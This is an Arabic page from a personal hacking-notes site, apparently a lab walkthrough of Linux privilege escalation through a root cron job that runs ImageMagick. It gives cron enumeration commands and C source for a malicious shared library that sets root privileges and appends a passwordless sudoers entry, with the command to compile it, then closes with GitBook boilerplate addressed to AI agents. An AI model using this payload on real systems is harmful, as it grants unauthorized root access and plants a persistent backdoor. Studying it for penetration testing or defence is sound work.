> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md).

# إساءة استخدام ImageMagick عبر Cron - تصعيد امتيازات لينكس

## ما هو

تُنشئ مهام كرون مسارات لتصعيد الامتيازات عندما تنفّذ المهام الجذرية المتكررة نصوصًا برمجية قابلة للكتابة، أو مسارات نسبية غير آمنة، أو معالجات معرّضة للثغرات. المفتاح هو إثبات أن مستخدمًا منخفض الامتيازات يتحكم في شيء ستقوم مهمة مجدولة ذات امتيازات بتشغيله. تركز هذه الصفحة تحديدًا على **مهام كرون - استغلال ImageMagick** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```

## أمثلة

في `/opt/`، يمكنك العثور على `script.sh` سكربت يُنفَّذ تلقائيًا

<figure><img src="/files/b94033a8eae965f0aed38d3af92df99d2c0dae03" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> يبدأ هذا السكربت الشِّل بالانتقال إلى `/opt/app/static/assets/images` المجلد ثم يفرغ `metadata.log` الملف إذا كان موجودًا. ثم يبحث عن جميع `.jpg` الملفات في هذا الدليل ويستخدم أمر ImageMagick `identify` لاستخراج بياناتها الوصفية (الحجم، الصيغة، عمق اللون، إلخ). ثم تُخزَّن هذه المعلومات في `metadata.log`. وبالتالي، يُنشئ هذا السكربت ملف بيانات وصفية مُحدَّثًا لجميع صور JPG في المجلد المحدد.

يستخدم السكربت **ImageMagick**، وهي نسخة ضعيفة.

```bash
magicks --version
```

<figure><img src="/files/b8ea3ec8bae2d7f9325038417b3d42935347294e" alt=""><figcaption></figcaption></figure>

### الاستغلال عبر `LD_PRELOAD`

ننشىء `a.c` الملف:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

التجميع:

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="/files/316d82b3698d943371e5e963febf00f358e00340" alt=""><figcaption></figcaption></figure>

يُضاف إلى الدليل الذي تتم مراقبته والقابل للتنفيذ بواسطة `ImageMagick`. ثم ننفذ:

```bash
su root
```

<figure><img src="/files/ced2e77915bf6fae4d456d1ce8560e3d378a3cfe" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
